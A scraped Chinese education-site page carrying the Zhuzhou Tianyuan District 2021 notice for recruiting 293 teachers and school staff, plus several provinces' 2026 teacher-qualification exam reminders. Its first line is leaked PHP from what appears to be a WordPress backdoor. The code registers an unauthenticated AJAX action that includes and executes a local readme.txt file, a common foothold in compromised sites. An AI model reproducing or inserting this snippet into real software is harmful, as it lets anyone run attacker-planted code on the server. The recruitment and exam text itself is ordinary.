if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南株洲市天元区2021招聘教师等293人公告-全国教师资格考试网

湖南株洲市天元区2021招聘教师等293人公告

  为进一步深化事业单位人事制度改革,建立科学、公正、规范的用人制度,拓宽事业单位选人用人渠道,优化事业单位工作人员队伍结构,根据《事业单位人事管理条例》(中华人民共和国国务院令652号)和《湖南省事业单位公开招聘人员办法》(湘人社发〔2019〕1号)等有关规定,结合本单位编制、岗位空缺情况和工作需要,经研究决定,公开招聘全额拨款事业编制中小学教职工285名、幼儿园教师8名。现将有关事项公告如下:

   一、招聘原则

  (一)坚持德才兼备的用人标准;

  (二)坚持公开、公平、公正、择优的原则;

  (三)坚持工作需要、人岗相适、注重综合能力和专业知识相结合。

   二、招聘岗位、计划及要求

  此次招聘岗位48个,招聘计划293名。其中面向普通高校2021届优秀毕业生招聘中小学教师140名(详见附件1);面向社会公开招聘中小学教师139 名、学校财务人员6名、幼儿园教师8名(详见附件2)。

  三、招聘条件

  (一)具有中华人民共和国国籍;

  (二)遵守中华人民共和国宪法和法律;

  (三)具有良好的品行和职业道德;

  (四)具备岗位所需的专业和技能条件;

  (五)具备适应岗位要求的身体、心理条件。

  (六)岗位所需要的其他条件(详见附件1、附件2)

  应聘人员有下列情形之一的,不得报名:

  1.曾因犯罪受过刑事处罚的人员或曾被开除公职的人员;

  2.尚未解除党纪、政纪处分或正在接受纪律审查的人员;

  3.涉嫌违法犯罪正在接受司法调查尚未作出结论的人员;

  4.在各级各类事业单位公开招聘中因违反《事业单位公开招聘违纪违规行为处理规定》被记入事业单位公开招聘应聘人员诚信档案库,且记录期限未满的人员;

  5. 参加天元区教师招聘考试拟聘用后放弃、新聘用机关事业单位工作人员被取消聘用资格未满2年的人员(指2019年、2020年);

  6.法律、政策规定不得聘用为事业单位工作人员的其他情形的人员。

  四、信息发布

  招聘公告通过株洲市人力资源和社会保障网、株洲市天元区政府门户网向社会公开发布。

  招聘每个环节的相关信息将在株洲市天元区政府门户网向社会公开发布,请考生及时关注。若因本人不及时关注相关信息,造成后果,责任自负。

  五、招聘方式

  通过以下两种方式进行(应聘人员只能选择其中一种方式报名):

  (一)面向普通高校2021届毕业生招聘中小学教师

  1.招聘对象

  符合招聘条件及岗位要求的普通高校2021届优秀师范类本科毕业生及已取得教师资格证(含取得笔试或面试合格证或教师职业能力证书)的2021届硕士研究生。

  2.报名

  (1)报名时间

  2021年5月30日—6月1日

  上午8:30—11:30      下午2:30—5:30

  (2)报名地点

  株洲市天元区建宁实验中学(地址:炎帝广场)

  (3)报名方式

  采用本人现场报名

  (4)报名要求

  ①每人限报一个应聘岗位。应聘人员登录株洲市天元区政府门户网自行下载《株洲市天元区2021年公开招聘教师报名登记表(面向普通高校2021届毕业生)》(见附件3),按岗位要求填写相关个人信息。应届师范类本科生还需提供《株洲市天元区2021年面向高校应届毕业生公开招聘教师学业情况鉴定表》(见附件4)。提交本人近期同底一寸免冠彩色照片3张。

  ②提供下列证明材料的原件和复印件:身份证、填写完整的毕业生就业推荐表和教育部学籍在线验证报告、教师资格证或有效期内的教师资格合格证明(或笔试合格成绩)或师范生教师职业能力证书、普通话水平等级证、未取得教师资格证书的考生须提交2021年8月31日之前提供相应岗位要求的教师资格证原件的承诺书(样本见附件8)。

  ③保持联系方式通顺,如因考生单方面因素,不能取得联系的,招聘方概不负责。

  ④防疫期间,请考生自觉做好个人疫情防护工作,严格服从报名现场防疫工作管理。

  3.资格审查

  ①根据招聘岗位要求,在现场报名时对应聘者进行资格审查。资格审查贯穿招聘工作全过程,任何环节发现应聘人员不符合岗位报名条件或提供的材料弄虚作假者,一经查实,取消考试或聘用资格。

  ②应聘者提供的证书、材料等必须真实有效,应聘人员报名与考试时使用的身份证件必须一致。

  ③其他要求

  报考中小学教师相关岗位必须与教师资格证(或教师资格合格证明、教师职业能力证书或笔试合格成绩)认定学科一致。

  教师资格证(或教师资格合格证明、教师职业能力证书、笔试合格成绩)认定学科为初等教育,可报考中小学语文、数学或政治(思品)教师岗位;认定学科为小学教育,可报考小学语文、数学或思品教师岗位;认定学科为物理、化学、生物,可报考与专业一致的教师岗位或小学科学教师岗位。

  4.组织考试

  (1)开考比例

  各岗位招聘人数与该岗位报名人数的比例原则上不得低于1:3。对少数专业特殊或确实难以形成竞争的岗位,经报请同级人社部门批准后,可根据实际情况适当降低开考比例或核减岗位招聘计划。

  (2)考试时间、地点 以《准考证》为准。

  (3)考试

  考试分为答辩和上微型课两个环节。

  ①答辩:答辩时量为3分钟,答辩成绩满分为100分。答辩成绩设最低分数线,答辩成绩低于80分(不含80分)的直接淘汰,不进入上微型课环节。

  ②上微型课:答辩成绩在80分以上(含80分)者,进入上微型课环节,上微型课时量为8分钟,上微型课的备课时量为15分钟,上微型课成绩满分为100分。上微型课内容为报考岗位相应的全国统编教材。

  ③总成绩计算办法为:

  总成绩=答辩成绩×20%+上微型课成绩×80%

  答辩、上微型课、总成绩均按四舍五入保留小数点后两位数。

  按照总成绩从高分到低分的顺序排名;总成绩相同的,上微型课成绩高的排前。若总成绩出现末位并列情况,且答辩、上微型课成绩均相等,则加试答辩。

  (二)面向社会公开招聘中小学、幼儿园教师及学校财务人员

  1.招聘对象

  ①中小学教师:符合招聘条件及岗位要求的应往届毕业生(已参加高校招聘报名的2021届毕业生,不得再参加面向社会公开招聘教师报名);

  ②学校财务人员:符合招聘条件及岗位要求的有财务工作经验的人员(全日制非应届在读生不包含在内);

  ③幼儿园教师:符合招聘条件及岗位要求的应往届毕业生。

  2.报名

  (1)报名时间

  2021年6月10日—12日

  上午8:30—11:30      下午2:30—5:30

  (2)报名地点

  株洲市天元区建宁实验中学(地址:炎帝广场)

  (3)报名方式

  采用本人现场报名

  (4)报名要求

  ①每人限报一个应聘岗位,多报则取消应聘资格。应聘人员登录株洲市天元区政府门户网自行下载《株洲市天元区2021年公开招聘教师报名登记表》(见附件5),或《株洲市天元区2021年公开招聘学校财务人员报名登记表》(见附件6),按岗位要求填写相关个人信息。提交本人近期同底一寸免冠彩色照片2张。

  ②提供下列证明材料的原件和复印件:

  报考中小学、幼儿园教师岗位:身份证、毕业证、教师资格证或教师资格合格证明(2021届毕业生可提供教师职业能力证书或笔试合格成绩)、普通话水平等级证。未取得教师资格证书的考生须提交2021年8月31日之前提供相应岗位要求的教师资格证原件的承诺书(样本见附件8)。幼儿园不作专业要求的需提供符合报名条件的荣誉证书及相关文件。

  报考学校财务人员岗位:身份证、毕业证、从事会计或财务工作经历证明(工作经历按足年足月计算,计算截止时间为2021年5月31日,全日制学习期间的实习、实践均不计算为工作经历,样表见附件7)。

  3.资格审查

  ①根据招聘岗位要求,在现场报名时对应聘者所提交的资料进行资格审查。资格审查贯穿招聘工作全过程,任何环节发现应聘人员不符合岗位报名条件或提供的材料弄虚作假,一经查实,取消考试或聘用资格。

  ②应聘者提供的证书、材料等必须真实有效,应聘人员报名与考试时使用的身份证件必须一致。

  ③其他要求

  报考中小学、幼儿园教师相关岗位必须与教师资格证(或教师资格合格证明、教师职业能力证书或笔试合格成绩)认定学科一致。

  教师资格证(或教师资格合格证明、教师职业能力证书、笔试合格成绩)认定学科为初等教育,可报考中小学语文、数学或政治(思品)教师岗位;认定学科为小学教育,可报考小学语文、数学或思品教师岗位;认定学科为物理、化学、生物,可报考与专业一致的教师岗位或小学科学教师岗位。

  4.考试

  (1)开考比例

  岗位招聘人数与该岗位报名人数的比例原则上不得低于1:3。但对少数专业特殊或确实难以形成竞争的岗位,经报请同级人社部门批准后,可根据实际情况适当降低开考比例或核减岗位招聘计划。

  (2)考试时间、地点 以《准考证》为准。

  (3)考试

  考试分为笔试和面试两个环节。

  笔试

  ①报考中小学教师岗位:采用统一笔试试卷。笔试内容包括:教育学、教育心理学、教育政策法规、素质教育和新课程改革基础理论、方法及实践应用分析等。笔试时量:120分钟,满分为100分。

  ②报考幼儿园教师岗位:采用统一笔试试卷。笔试内容包括:幼儿教育学、幼儿心理学、教育政策法规、幼儿园管理学、幼儿教育教学基本理论及运用等。笔试时量:120分钟,满分为100分。

  ③报考学校财务人员岗位:采用统一笔试试卷。笔试内容包括:公共基础知识、财务会计专业知识和文字综合能力等。笔试时量:120分钟,满分为100分。

  面试

  ①根据应聘同一岗位人员笔试成绩从高分到低分的顺序,按照招聘计划1:3的比例确定参加面试的人选(低于1:3达到开考比例的考生全部进入面试;若笔试成绩出现末位并列情况,则并列人员均进入面试)。

  ②招聘中小学教师面试采取上微型课的形式进行。根据考生报名情况进行专业分组,上微型课时量为8分钟,备课时长为15分钟。面试成绩满分为100分。

  ③招聘幼儿园教师面试采取上微型课(含专业测试)的形式进行。上微型课时量为8分钟,备课时长为15分钟。面试成绩满分为100分。

  ④招聘学校财务人员采取结构化面试的形式进行。面试时量为10分钟,面试成绩满分为100分,主要测评考生财务业务知识、综合分析能力、语言表达能力等。

  成绩合成

  ①报考中小学、幼儿园教师岗位:

  总成绩=笔试成绩×40%+面试成绩×60%

  笔试、面试及总成绩均按四舍五入保留小数点后两位数。按照总成绩从高分到低分的顺序排名,总成绩相同的,以面试成绩高的排前。

  凡面试成绩低于80分者,予以淘汰,不统计总成绩,不进入下一个环节。

  ②报考学校财务人员岗位:

  总成绩=笔试成绩×50%+面试成绩×50%

  笔试、面试及总成绩均按四舍五入保留小数点后两位数。按照总成绩从高分到低分的顺序排名,总成绩相同的,以面试成绩高的排前。

  六、体检与考察

  各招聘岗位按照招聘计划数1:1的比例根据总成绩排名确定体检、考察对象(排名末位的考生,如笔试、面试及总成绩均相同的,加试答辩,以加试答辩成绩高者进入)。

  体检在指定医院进行体检,体检参照国家人事部、卫生部颁布的《公务员录用体检通用标准(试行)》的规定执行,增加吸毒情况检测项目,体检费用由考生自行承担。体检合格者即确定为考察对象。按照国家有关规定和岗位要求,对考察对象的思想政治、道德品质、业务能力、身体心理、工作实绩、计划生育等情况进行考察,并对应聘人员的应聘资格条件进行复查。

  七、递补

  有体检、考察不合格者或放弃资格者,按应聘同一岗位总成绩排名从高分到低分依次等额递补,递补一次。

  八、公示与聘用

  (1)公开招聘教师,根据总成绩和体检、考察结果确定拟聘人选,拟聘人员名单在株洲市天元区政府门户网公示7个工作日;公示期间,对拟聘人员有反映的,由用人单位及主管部门调查核实,提出处理意见并报人社部门审定。

  (2)公示期满且无异议的,办理聘用手续。由区教育局根据工作需要和招聘岗位统一分配到学校。聘用人员如不服从分配,则视为自动放弃聘用资格。

  (3)新聘用教师及学校财务人员统一入编。由用人学校按照《事业单位人事管理条例》和岗位设置要求与被聘人员签订聘用合同。初次就业者,试用期为12个月;有工作经历者,试用期为6个月。试用期满合格的,予以正式聘用。不合格的,取消聘用。被聘用教师和学校财务人员在本区至少服务五年,其中被农村学校聘用的教师和学校财务人员至少在农村学校服务三年。如拒不履行在本区最低服务年限,被聘人员须赔付相关违约金,服务年限每少一年的违约金为人民币壹万元整,不足一年按一年计算。

  九、特别提示

  1.请考生保持报名时提供的电话通讯畅通,如因考生单方面因素,不能取得联系的,招聘方概不负责。

  2.本次考试不指定考试辅导用书,不举办、不委托任何机构举办考试辅导培训班。

  3.报考人员须严格遵守公开招聘纪律,对违纪违规行为,将按照《事业单位公开招聘违纪违规行为处理规定》(人社部令第35号)进行处理。

  4.疫情防控期间,请应聘人员自觉做好个人疫情防护工作,严格服从有关防疫工作管理。申领并提供本人电子健康码,持有电子健康码绿码及行程绿码且现场体温正常,佩戴好口罩,方能参加报名和考试。

  十、纪律监督

  招聘工作要做到信息公开、过程公开、结果公开,天元区纪委负责全程监督,接受社会及有关部门的监督。严肃公开招聘纪律,对违反公开招聘纪律的情形,按有关规定追究责任。

  十一、咨询及监督电话

  咨询电话:0731-28665200(周老师、胡老师、艾老师)

  咨询时间:星期一 —— 星期五

  上午8:30—12:00       下午2:30—6:00

  地址:株洲市天元区株洲大道北1号高新大厦(天元区政府办公大楼二楼区教育局)

  监督电话:0731-28665065  天元区纪委

   0731-28665957  天元区人社局

  本次招聘政策由株洲市天元区招聘工作领导小组负责解释。

  附件1:株洲市天元区2021年公开招聘中小学、幼儿园教师及学校财务人员计划及岗位条件(一)

  附件2:株洲市天元区2021年公开招聘中小学、幼儿园教师及学校财务人员计划及岗位条件 (二)

  附件3:株洲市天元区2021年公开招聘教师报名登记表(面向普通高校2021届毕业生)

  附件4:株洲市天元区2021年面向高校应届毕业生公开招聘教师学业情况鉴定表(应届本科师范生用)

  附件5:株洲市天元区2021年公开招聘教师报名登记表(面向社会)

  附件6:株洲市天元区2021年公开招聘学校财务人员报名登记表(面向社会)

  附件7:财务工作经历证明(样本)

  附件8:承 诺 书

株洲市天元区人力资源和社会保障局

株洲市天元区教育局

2021年5月21日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部